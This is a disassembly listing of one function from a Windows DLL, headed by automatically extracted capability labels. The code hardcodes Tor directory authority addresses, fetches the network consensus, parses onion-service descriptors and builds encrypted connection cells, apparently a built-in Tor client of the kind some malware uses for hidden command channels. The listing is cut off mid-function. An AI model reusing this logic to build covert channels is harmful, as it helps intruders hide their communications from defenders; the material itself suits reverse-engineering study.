Function at 0x180003e9b
Capabilities:
Decode data using base64 via winapi
Get socket status

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x948
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.180009e0b
add rsp, 0x20
sub rsp, 0x30
lea rcx, [rbp - 0x40]
mov rdx, 0
movabs r8, str.Microsoft_Enhanced_DSS_and_Diffie_Hellman_Cryptographic_Provider
mov r9, 0xd
mov dword [rsp + 0x20], 0xf0000000
mov dword [rsp + 0x24], 0
call qword [sym.imp.advapi32.dll_CryptAcquireContextA]
add rsp, 0x30
sub rsp, 0x20
lea rcx, str.bcrypt.dll
call fcn.18000a4d8
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
lea rdx, str.BCryptOpenAlgorithmProvider
call fcn.18000a390
add rsp, 0x20
lea rcx, [rbp - 0x48]
lea rdx, str.SHA1
mov r8, 0
mov r9, 0
sub rsp, 0x20
call rax
add rsp, 0x20
sub rsp, 0x20
lea rcx, str.bcrypt.dll
call fcn.18000a4d8
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
lea rdx, str.BCryptOpenAlgorithmProvider
call fcn.18000a390
add rsp, 0x20
lea rcx, [rbp - 0x50]
lea rdx, [0x18000d3fd]
mov r8, 0
mov r9, 0
sub rsp, 0x20
call rax
add rsp, 0x20
sub rsp, 0x20
lea rcx, str.bcrypt.dll
call fcn.18000a4d8
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
lea rdx, str.BCryptOpenAlgorithmProvider
call fcn.18000a390
add rsp, 0x20
lea rcx, [rbp - 0x58]
lea rdx, [0x18000d405]
mov r8, 0
mov r9, 0
sub rsp, 0x20
call rax
add rsp, 0x20
sub rsp, 0x20
lea rcx, str.bcrypt.dll
call fcn.18000a4d8
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
lea rdx, str.BCryptSetProperty
call fcn.18000a390
add rsp, 0x20
mov rcx, qword [rbp - 0x58]
lea rdx, str.ChainingMode
lea r8, str.ChainingModeECB
mov r9, 0x20
sub rsp, 0x30
mov qword [rsp + 0x20], 0
call rax
add rsp, 0x30
lea rax, str.193.23.244.244
mov qword [rbp - 0x7c8], rax
mov qword [rbp - 0x7c0], 0x50
lea rax, str.86.59.21.38
mov qword [rbp - 0x7b8], rax
mov qword [rbp - 0x7b0], 0x50
lea rax, str.199.58.81.140
mov qword [rbp - 0x7a8], rax
mov qword [rbp - 0x7a0], 0x50
lea rax, str.204.13.164.118
mov qword [rbp - 0x798], rax
mov qword [rbp - 0x790], 0x50
lea rax, str.194.109.206.212
mov qword [rbp - 0x788], rax
mov qword [rbp - 0x780], 0x50
lea rax, str.131.188.40.189
mov qword [rbp - 0x778], rax
mov qword [rbp - 0x770], 0x50
lea rax, str.154.35.175.225
mov qword [rbp - 0x768], rax
mov qword [rbp - 0x760], 0x50
lea rax, str.171.25.193.9
mov qword [rbp - 0x758], rax
mov qword [rbp - 0x750], 0x1bb
lea rax, str.128.31.0.34
mov qword [rbp - 0x748], rax
mov qword [rbp - 0x740], 0x23ab
lea rax, str.128.31.0.39
mov qword [rbp - 0x738], rax
mov qword [rbp - 0x730], 0x23ab
mov qword [rbp - 0x7d0], 5
dec qword [rbp - 0x7d0]
js 0x18000604c
sub rsp, 0x20
mov rcx, 0xa
call fcn.180009f59
add rsp, 0x20
imul r12, rax, 0x10
sub rsp, 0x20
mov rcx, qword [r12 + rbp - 0x7c8]
mov rdx, qword [r12 + rbp - 0x7c0]
lea r8, str._tor_status_vote_current_consensus
lea r9, [rbp - 0x320]
call fcn.1800066ee
add rsp, 0x20
cmp rax, 0
je 0x18000415e
mov qword [rbp - 0x80], rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x320]
mov rdx, qword [rbp - 0x80]
movabs r8, str.directory_footer
call fcn.18000a204
add rsp, 0x20
cmp rax, 0
je 0x18000415e
sub rax, qword [rbp - 0x320]
mov r12, qword [rbp - 0x80]
sub r12, rax
mov rdx, qword [rbp - 0x320]
sub rsp, 0x20
lea rcx, [rax + rdx]
mov rdx, r12
call fcn.180009e0b
add rsp, 0x20
mov qword [rbp - 0x7d8], 0
mov qword [rbp - 0x7e0], 0
mov rdi, qword [rbp - 0x320]
cmp qword [rbp - 0x80], 3
jbe 0x180004266
cmp byte [rdi], 0xa
jne 0x180004266
cmp byte [rdi + 1], 0x72
jne 0x180004266
cmp byte [rdi + 2], 0x20
jne 0x180004266
inc qword [rbp - 0x7d8]
sub rsp, 0x20
mov rcx, rdi
call fcn.180008cfb
add rsp, 0x20
and rax, 8
je 0x180004266
inc qword [rbp - 0x7e0]
inc rdi
dec qword [rbp - 0x80]
jne 0x18000422a
cmp qword [rbp - 0x7d8], 0x3e8
ja 0x180004281
jmp 0x18000415e
mov qword [rbp - 0x7e8], 0
jmp 0x18000603e
sub rsp, 0x20
mov rcx, qword [rbp - 0x7d8]
call fcn.180009f59
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x320]
mov rdx, rax
mov r8, 0
call fcn.180008c78
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rdi
call fcn.180008cfb
add rsp, 0x20
cmp qword [rbp - 0x7e8], 0
jne 0x1800042ea
cmp rax, 7
jne 0x18000603e
cmp qword [rbp - 0x7e8], 1
jne 0x1800042fe
cmp rax, 7
jne 0x18000603e
cmp qword [rbp - 0x7e8], 2
jne 0x180004312
cmp rax, 0x17
jne 0x18000603e
cmp qword [rbp - 0x7e8], 4
jne 0x180004326
cmp rax, 0x1f
jne 0x18000603e
mov r12, qword [rbp - 0x7e8]
sub rsp, 0x30
mov rcx, rdi
lea rdx, [rbp + r12*8 - 0x830]
lea r8, [rbp + r12*8 - 0x858]
lea r9, [rbp + r12*8 - 0x880]
lea rax, [rbp + r12*8 - 0x8a8]
mov qword [rsp + 0x20], rax
call fcn.180008b58
add rsp, 0x30
cmp rax, 0
jne 0x18000603e
cmp qword [rbp - 0x7e8], 1
jne 0x180004384
cmp qword [rbp - 0x8a0], 0
je 0x18000603e
cmp qword [rbp - 0x7e8], 4
jne 0x180005200
sub rsp, 0x20
mov rcx, qword [rbp - 0x970]
mov rdx, 0x186a0
movabs r8, str._____BEGIN_MESSAGE_____
call fcn.18000a204
add rsp, 0x20
add rax, 0x17
sub qword [rbp - 0x98], rax
mov rdi, qword [rbp - 0x968]
mov rsi, rax
jmp 0x1800043db
lodsb al, byte [rsi]
cmp al, 0x20
jbe 0x1800043d4
stosb byte [rdi], al
dec qword [rbp - 0x98]
cmp qword [rbp - 0x98], 0
ja 0x1800043ce
mov byte [rdi], 0
sub rsp, 0x40
mov rcx, qword [rbp - 0x968]
mov rdx, 0
mov r8, 1
mov r9, 0
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.crypt32.dll_CryptStringToBinaryA]
add rsp, 0x40
sub rsp, 0x20
mov rcx, qword [rbp - 0x70]
lea rdx, [rbp - 0x978]
call fcn.180009d34
add rsp, 0x20
test rax, rax
je 0x18000604c
sub rsp, 0x40
mov rcx, qword [rbp - 0x968]
mov rdx, 0
mov r8, 1
mov r9, qword [rbp - 0x978]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.crypt32.dll_CryptStringToBinaryA]
add rsp, 0x40
mov rdi, qword [rbp - 0x978]
xor rbx, rbx
jmp 0x1800045c4
sub rsp, 0x20
mov rcx, rdi
mov rdx, qword [rbp - 0x70]
movabs r8, str.introduction_point
call fcn.18000a18a
add rsp, 0x20
cmp rax, 0
je 0x1800045d5
mov qword [rbp + rbx*8 - 0x8c8], rax
sub rsp, 0x20
mov rcx, rdi
mov rdx, qword [rbp - 0x70]
movabs r8, str.ip_address
call fcn.18000a18a
add rsp, 0x20
test rax, rax
je 0x18000604c
mov qword [rbp + rbx*8 - 0x8e0], rax
sub rsp, 0x20
mov rcx, rdi
mov rdx, qword [rbp - 0x70]
movabs r8, str.onion_port
call fcn.18000a18a
add rsp, 0x20
test rax, rax
je 0x18000604c
mov qword [rbp + rbx*8 - 0x8f8], rax
sub rsp, 0x20
mov rcx, rdi
mov rdx, qword [rbp - 0x70]
movabs r8, str.service_key
call fcn.18000a204
add rsp, 0x20
test rax, rax
je 0x18000604c
inc rax
sub rax, rdi
add rdi, rax
sub qword [rbp - 0x70], rax
sub rsp, 0x20
mov rcx, rdi
mov rdx, qword [rbp - 0x70]
movabs r8, str.KEY_____
call fcn.18000a204
add rsp, 0x20
test rax, rax
je 0x18000604c
lea rax, [rax + 8]
mov qword [rbp + rbx*8 - 0x910], rax
sub rsp, 0x20
mov rcx, rdi
mov rdx, qword [rbp - 0x70]
movabs r8, 0x18000d76b
call fcn.18000a204
add rsp, 0x20
test rax, rax
je 0x18000604c
mov byte [rax], 0
inc rbx
cmp rbx, 3
jae 0x1800045d5
cmp qword [rbp - 0x70], 0
jg 0x1800044a2
jmp 0x180004f5b
dec rbx
sub rsp, 0x90
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x50]
mov r9, qword [rbp - 0x58]
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x938]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x850]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp - 0x8a0]
mov qword [rsp + 0x38], rax
mov rax, qword [rbp + rbx*8 - 0x8e0]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp + rbx*8 - 0x8f8]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp - 0x830]
mov qword [rsp + 0x50], rax
mov rax, qword [rbp + rbx*8 - 0x8c8]
mov qword [rsp + 0x58], rax
mov rax, qword [rbp - 0x60]
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x268]
mov qword [rsp + 0x68], rax
lea rax, [rbp - 0x260]
mov qword [rsp + 0x70], rax
lea rax, [rbp - 0x258]
mov qword [rsp + 0x78], rax
lea rax, [rbp - 0x250]
mov qword [rsp + 0x80], rax
lea rax, [rbp - 0x2d8]
mov qword [rsp + 0x88], rax
call fcn.1800078ca
add rsp, 0x90
test rax, rax
jle 0x180004f34
sub rsp, 0x20
lea rcx, [rbp - 0x720]
mov rdx, 0x400
call fcn.180009e0b
add rsp, 0x20
lea rdi, [rbp - 0x51e]
mov r12, 0x10
sub rsp, 0x20
mov rcx, 0x100
call fcn.180009f59
add rsp, 0x20
stosb byte [rdi], al
dec r12
jne 0x1800046dd
mov byte [rbp - 0x50e], 2
sub rsp, 0x20
mov rcx, qword [rbp - 0x838]
call qword [sym.imp.ws2_32.dll_inet_addr]
add rsp, 0x20
mov dword [rbp - 0x50d], eax
sub rsp, 0x20
mov rcx, qword [rbp - 0x860]
call fcn.18000a2cd
add rsp, 0x20
mov byte [rbp - 0x509], ah
mov byte [rbp - 0x508], al
sub rsp, 0x40
mov rcx, qword [rbp - 0x820]
mov rdx, 0
mov r8, 1
mov r9, 0
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.crypt32.dll_CryptStringToBinaryA]
add rsp, 0x40
sub rsp, 0x40
mov rcx, qword [rbp - 0x820]
mov rdx, 0
mov r8, 1
lea r9, [rbp - 0x507]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.crypt32.dll_CryptStringToBinaryA]
add rsp, 0x40
sub rsp, 0x20
mov rcx, qword [rbp - 0x850]
mov rdx, qword [rbp - 0x8a0]
lea r8, [rbp - 0x507]
lea r9, [rbp - 0x4f1]
call fcn.180008e48
add rsp, 0x20
test rax, rax
je 0x180006017
mov byte [rbp - 0x4f3], ah
mov byte [rbp - 0x4f2], al
sub rsp, 0x20
lea rcx, [rbp - 0x738]
lea rdx, [rbp - 0x465]
mov r8, 0x14
call fcn.180009fab
add rsp, 0x20
mov byte [rbp - 0x230], 7
mov byte [rbp - 0x22f], 2
mov word [rbp - 0x22e], 0
mov dword [rbp - 0x22c], 0xaa02
mov dword [rbp - 0x228], 0x32484400
mov dword [rbp - 0x224], 0x400
sub rsp, 0x20
lea rcx, [0x18000d537]
lea rdx, [rbp - 0x220]
mov r8, 0x80
call fcn.180009fab
add rsp, 0x20
lea rdi, [rbp - 0x120]
mov r12, 0x80
sub rsp, 0x20
mov rcx, 0x100
call fcn.180009f59
add rsp, 0x20
stosb byte [rdi], al
dec r12
jne 0x180004888
sub rsp, 0x20
lea rcx, [rbp - 0x1a0]
mov rdx, 0x80
call fcn.180009e0b
add rsp, 0x20
mov byte [rbp - 0x1a0], 2
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
lea rdx, [rbp - 0x230]
lea r8, [rbp - 0x451]
call fcn.180008a53
add rsp, 0x20
mov rsi, qword [rbp + rbx*8 - 0x910]
lea rdi, [rbp - 0x694]
mov al, 1
jmp 0x1800048fc
lodsb al, byte [rsi]
cmp al, 0x20
jbe 0x1800048fc
stosb byte [rdi], al
cmp al, 0
jne 0x1800048f6
mov byte [rdi], 0
sub rsp, 0x40
lea rcx, [rbp - 0x694]
mov rdx, 0
mov r8, 1
mov r9, 0
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.crypt32.dll_CryptStringToBinaryA]
add rsp, 0x40
sub rsp, 0x40
lea rcx, [rbp - 0x694]
mov rdx, 0
mov r8, 1
lea r9, [rbp - 0x720]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.crypt32.dll_CryptStringToBinaryA]
add rsp, 0x40
mov qword [rbp - 0x80], 0x94
sub rsp, 0x20
lea rcx, [rbp - 0x694]
mov rdx, 0x94
call fcn.180009e0b
add rsp, 0x20
sub rsp, 0x40
mov rcx, 1
mov rdx, 0x13
lea r8, [rbp - 0x720]
mov r9, 0x8c
mov qword [rsp + 0x20], 0
lea rax, [rbp - 0x694]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x30], rax
call qword [sym.imp.crypt32.dll_CryptDecodeObject]
add rsp, 0x40
mov dword [rbp - 0x600], 0x31415352
mov dword [rbp - 0x5fc], 0x400
mov dword [rbp - 0x5f8], 4
mov dword [rbp - 0x5f4], 0x80
mov dword [rbp - 0x5f0], 0
mov dword [rbp - 0x5ec], 0
mov eax, dword [rbp - 0x684]
bswap eax
mov dword [rbp - 0x5e8], eax
sub rsp, 0x20
lea rcx, [rbp - 0x601]
lea rdx, [rbp - 0x5e4]
mov r8, 0x80
call fcn.180003a8a
add rsp, 0x20
sub rsp, 0x20
lea rcx, str.bcrypt.dll
call fcn.18000a4d8
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
lea rdx, str.BCryptImportKeyPair
call fcn.18000a390
add rsp, 0x20
mov rcx, qword [rbp - 0x50]
mov rdx, 0
lea r8, str.RSAPUBLICBLOB
lea r9, [rbp - 0x238]
sub rsp, 0x40
lea r12, [rbp - 0x600]
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x28], 0x9c
mov qword [rsp + 0x30], 0
call rax
add rsp, 0x40
sub rsp, 0x20
mov rcx, qword [rbp - 0x970]
mov rdx, 0x186a0
call fcn.180009e0b
add rsp, 0x20
mov rdi, qword [rbp - 0x970]
mov byte [rdi], 0x80
mov rax, qword [rbp - 0x60]
mov byte [rdi + 3], al
mov byte [rdi + 4], 3
mov byte [rdi + 5], 0x22
mov rax, 0x18b
mov byte [rdi + 0xe], ah
mov byte [rdi + 0xf], al
sub rsp, 0x30
mov rcx, qword [rbp - 0x48]
lea rdx, [rbp - 0x720]
mov r8, 0x8c
lea r9, [rdi + 0x10]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0xffffffffffffffff
call fcn.1800076bd
add rsp, 0x30
lea rax, str.SHA1
mov qword [rbp - 0x928], rax
mov qword [rbp - 0x920], 0
mov qword [rbp - 0x918], 0
sub rsp, 0x20
lea rcx, str.bcrypt.dll
call fcn.18000a4d8
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
lea rdx, str.BCryptEncrypt
call fcn.18000a390
add rsp, 0x20
mov rcx, qword [rbp - 0x238]
lea rdx, [rbp - 0x51e]
mov r8, 0x56
lea r9, [rbp - 0x928]
sub rsp, 0x50
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
lea r12, [rdi + 0x24]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], 0x80
lea r12, [rbp - 0x90]
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 4
call rax
add rsp, 0x50
sub rsp, 0x20
lea rcx, [rbp - 0x238]
mov rdx, 0
mov r8, 1
call fcn.180003561
add rsp, 0x20
mov dword [rbp - 0x600], 0x4d42444b
mov dword [rbp - 0x5fc], 1
mov dword [rbp - 0x5f8], 0x10
sub rsp, 0x20
lea rcx, [rbp - 0x51e]
lea rdx, [rbp - 0x5f4]
mov r8, 0x10
call fcn.180009fab
add rsp, 0x20
sub rsp, 0x20
lea rcx, str.bcrypt.dll
call fcn.18000a4d8
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
lea rdx, str.BCryptImportKey
call fcn.18000a390
add rsp, 0x20
mov rcx, qword [rbp - 0x58]
mov rdx, 0
lea r8, str.KeyDataBlob
lea r9, [rbp - 0x238]
sub rsp, 0x50
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
lea r12, [rbp - 0x600]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], 0x1c
mov qword [rsp + 0x40], 0
call rax
add rsp, 0x50
sub rsp, 0x20
lea rcx, [rbp - 0x4c8]
lea rdx, [rdi + 0xa4]
mov r8, 0xf7
call fcn.180009fab
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x238]
lea rdx, [rdi + 0xa4]
mov r8, 0xf7
mov r9, 0
call fcn.180007ed8
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x238]
mov rdx, 0
mov r8, 1
call fcn.180003561
add rsp, 0x20
sub rsp, 0x40
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x268]
mov r8, qword [rbp - 0x258]
mov r9, 0
lea rax, [rdi + 5]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
mov rax, qword [rbp - 0x2c8]
mov qword [rsp + 0x30], rax
call fcn.18000803a
add rsp, 0x40
sub rsp, 0x30
mov rcx, qword [rbp - 0x938]
mov rdx, qword [rbp - 0x970]
mov r8, 0x202
mov r9, 0
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x20], rax
call fcn.1800095b6
add rsp, 0x30
sub rsp, 0x30
mov rcx, qword [rbp - 0x938]
mov rdx, qword [rbp - 0x968]
mov r8, 0x404
mov r9, qword [rbp + 0x20]
mov qword [rsp + 0x20], 0x64
call fcn.180009b12
add rsp, 0x30
mov rdi, qword [rbp - 0x968]
test eax, eax
jne 0x180006017
cmp byte [rdi + 4], 3
jne 0x18000604c
sub rsp, 0x40
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x260]
mov r8, qword [rbp - 0x250]
mov r9, 0
lea rax, [rdi + 5]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov rax, qword [rbp - 0x2c0]
mov qword [rsp + 0x30], rax
call fcn.180008133
add rsp, 0x40
test rax, rax
je 0x180006017
cmp dword [rdi + 5], 0x28
jne 0x18000604c
sub rsp, 0x40
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x2a0]
mov r8, qword [rbp - 0x290]
mov r9, 0
lea rax, [rdi + 0x207]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 2
mov rax, qword [rbp - 0x300]
mov qword [rsp + 0x30], rax
call fcn.180008133
add rsp, 0x40
test rax, rax
je 0x180006017
sub rsp, 0x20
lea rcx, [rdi + 0x291]
lea rdx, [rbp - 0x1a0]
mov r8, 0x80
call fcn.180003a8a
add rsp, 0x20
sub rsp, 0x50
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x48]
mov r8, qword [rbp - 0x58]
lea r9, [rbp - 0x230]
lea rax, [rdi + 0x292]
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x248]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x240]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x2b8]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x2b0]
mov qword [rsp + 0x40], rax
call fcn.180008250
add rsp, 0x50
test rax, rax
je 0x180006017
mov rbx, 0xffffffffffffffff
sub rsp, 0x20
mov rcx, qword [rbp - 0x938]
mov rdx, qword [rbp - 0x968]
mov r8, qword [rbp + 0x20]
mov r9, qword [rbp - 0x60]
call fcn.180007e4a
add rsp, 0x20
inc qword [rbp - 0x60]
cmp rbx, 0
jg 0x1800045da
test rbx, rbx
jns 0x18000604c
sub rsp, 0x20
mov rcx, qword [rbp - 0x970]
mov rdx, 0x186a0
call fcn.180009e0b
add rsp, 0x20
mov rdi, qword [rbp - 0x970]
mov byte [rdi], 0x80
mov byte [rdi + 3], 1
mov byte [rdi + 4], 3
mov byte [rdi + 5], 1
mov rax, qword [rbp - 0x68]
mov byte [rdi + 9], al
mov byte [rdi + 0xf], 0x12
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, 0xa
lea r8, [rbp - 0x808]
call fcn.18000386c
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x808]
mov rdx, 0xa
lea r8, [rdi + 0x10]
call fcn.180003b24
add rsp, 0x20
mov byte [rdi + 0x20], 0x3a
sub rsp, 0x20
mov rcx, qword [rbp + 0x18]
mov rdx, 0xffffffffffffffff
lea r8, [rbp - 0x8b0]
call fcn.18000386c
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x8b0]
call fcn.180009fec
add rsp, 0x20
add byte [rdi + 0xf], al
sub rsp, 0x20
lea rcx, [rbp - 0x8b0]
lea rdx, [rdi + 0x21]
mov r8, rax
call fcn.180009fab
add rsp, 0x20
sub rsp, 0x40
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x2a8]
mov r8, qword [rbp - 0x298]
mov r9, qword [rbp - 0x248]
lea rax, [rdi + 5]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov rax, qword [rbp - 0x2b8]
mov qword [rsp + 0x30], rax
call fcn.18000803a
add rsp, 0x40
sub rsp, 0x30
mov rcx, qword [rbp - 0x938]
mov rdx, qword [rbp - 0x970]
mov r8, 0x202
mov r9, 0
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x20], rax
call fcn.1800095b6
add rsp, 0x30
sub rsp, 0x30
mov rcx, qword [rbp - 0x938]
mov rdx, qword [rbp - 0x968]
mov r8, 0x202
mov r9, qword [rbp + 0x20]
mov qword [rsp + 0x20], 0x64
call fcn.180009b12
add rsp, 0x30
mov rdi, qword [rbp - 0x968]
test rax, rax
jne 0x180006017
cmp byte [rdi + 4], 3
jne 0x180006017
sub rsp, 0x40
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x2a0]
mov r8, qword [rbp - 0x290]
mov r9, qword [rbp - 0x240]
lea rax, [rdi + 5]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 3
mov rax, qword [rbp - 0x2b0]
mov qword [rsp + 0x30], rax
call fcn.180008133
add rsp, 0x40
test rax, rax
je 0x180006017
cmp dword [rdi + 5], 4
jne 0x18000604c
sub rsp, 0x20
lea rcx, [rbp - 0x48]
mov rdx, qword [rbp + 0x38]
mov r8, 8
call fcn.180009fab
add rsp, 0x20
mov rdi, qword [rbp + 0x40]
sub rsp, 0x20
lea rcx, [rbp - 0x2a8]
lea rdx, [rdi]
mov r8, 0x20
call fcn.180009fab
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x248]
lea rdx, [rdi + 0x20]
mov r8, 0x10
call fcn.180009fab
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x2b8]
mov rdx, qword [rbp + 0x48]
mov r8, 0x10
call fcn.180009fab
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x68]
mov rdx, qword [rbp + 0x50]
mov r8, 8
call fcn.180009fab
add rsp, 0x20
mov qword [rbp - 0x980], 1
jmp 0x18000604c
cmp qword [rbp - 0x7e8], 3
jne 0x180005ab1
mov qword [rbp - 0xa0], 0
mov qword [rbp - 0x60], 2
mov qword [rbp - 0x68], 1
jmp 0x180005a92
mov rax, qword [rbp - 0xa0]
mov byte [rbp - 0x6fe], al
sub rsp, 0x30
mov rcx, qword [rbp - 0x48]
lea rdx, [rbp - 0x702]
mov r8, 5
lea r9, [rbp - 0x716]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0xffffffffffffffff
call fcn.1800076bd
add rsp, 0x30
sub rsp, 0x30
mov rcx, qword [rbp - 0x48]
lea rdx, [rbp - 0x720]
mov r8, 0x1e
lea r9, [rbp - 0x6fd]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0xffffffffffffffff
call fcn.1800076bd
add rsp, 0x30
sub rsp, 0x20
lea rcx, [rbp - 0x6fd]
mov rdx, 0x14
lea r8, [rbp - 0x6e9]
call fcn.180003b24
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x7e0]
lea rdx, [rbp - 0x80]
mov r8, 8
call fcn.180009fab
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x7e0]
lea rdx, [rbp - 0x90]
mov r8, 8
call fcn.180009fab
add rsp, 0x20
xor rbx, rbx
jmp 0x180005499
sub rsp, 0x20
lea rcx, [rbp - 0x90]
lea rdx, [rbp - 0x80]
mov r8, 8
call fcn.180009fab
add rsp, 0x20
shr qword [rbp - 0x80], 1
mov rdx, qword [rbp - 0x80]
sub rsp, 0x20
mov rcx, qword [rbp - 0x320]
lea rdx, [rbx + rdx]
mov r8, 8
call fcn.180008c78
add rsp, 0x20
sub rsp, 0x30
mov rcx, rax
lea rdx, [rbp - 0x818]
lea r8, [rbp - 0x840]
lea r9, [rbp - 0x868]
lea rax, [rbp - 0x890]
mov qword [rsp + 0x20], rax
call fcn.180008b58
add rsp, 0x30
mov qword [rbp - 0x78], 0
cmp rax, 0
jne 0x18000545c
sub rsp, 0x40
mov rcx, qword [rbp - 0x818]
mov rdx, 0
mov r8, 1
mov r9, 0
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.crypt32.dll_CryptStringToBinaryA]
add rsp, 0x40
sub rsp, 0x40
mov rcx, qword [rbp - 0x818]
mov rdx, 0
mov r8, 1
lea r9, [rbp - 0x685]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.crypt32.dll_CryptStringToBinaryA]
add rsp, 0x40
xor rcx, rcx
jmp 0x180005456
mov al, byte [rcx + rbp - 0x685]
cmp al, byte [rcx + rbp - 0x6fd]
ja 0x180005454
cmp al, byte [rcx + rbp - 0x6fd]
je 0x18000544f
mov qword [rbp - 0x78], 1
inc rcx
jmp 0x180005456
jmp 0x18000545c
cmp rcx, 0x14
jb 0x18000542e
cmp qword [rbp - 0x78], 1
jne 0x18000547a
add rbx, qword [rbp - 0x80]
inc rbx
mov rcx, qword [rbp - 0x80]
inc rcx
sub qword [rbp - 0x90], rcx
jmp 0x180005499
sub rsp, 0x20
lea rcx, [rbp - 0x80]
lea rdx, [rbp - 0x90]
mov r8, 8
call fcn.180009fab
add rsp, 0x20
cmp qword [rbp - 0x90], 0
jg 0x180005316
mov qword [rbp - 0x70], 0
jmp 0x180005a80
sub rsp, 0x20
mov rcx, qword [rbp - 0x320]
mov rdx, rbx
mov r8, 8
call fcn.180008c78
add rsp, 0x20
inc rbx
sub rsp, 0x30
mov rcx, rax
lea rdx, [rbp - 0x818]
lea r8, [rbp - 0x840]
lea r9, [rbp - 0x868]
lea rax, [rbp - 0x890]
mov qword [rsp + 0x20], rax
call fcn.180008b58
add rsp, 0x30
cmp rax, 0
jne 0x180005a80
sub rsp, 0x90
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x50]
mov r9, qword [rbp - 0x58]
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x938]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x850]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp - 0x8a0]
mov qword [rsp + 0x38], rax
mov rax, qword [rbp - 0x840]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp - 0x868]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp - 0x830]
mov qword [rsp + 0x50], rax
mov rax, qword [rbp - 0x818]
mov qword [rsp + 0x58], rax
mov rax, qword [rbp - 0x60]
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x288]
mov qword [rsp + 0x68], rax
lea rax, [rbp - 0x280]
mov qword [rsp + 0x70], rax
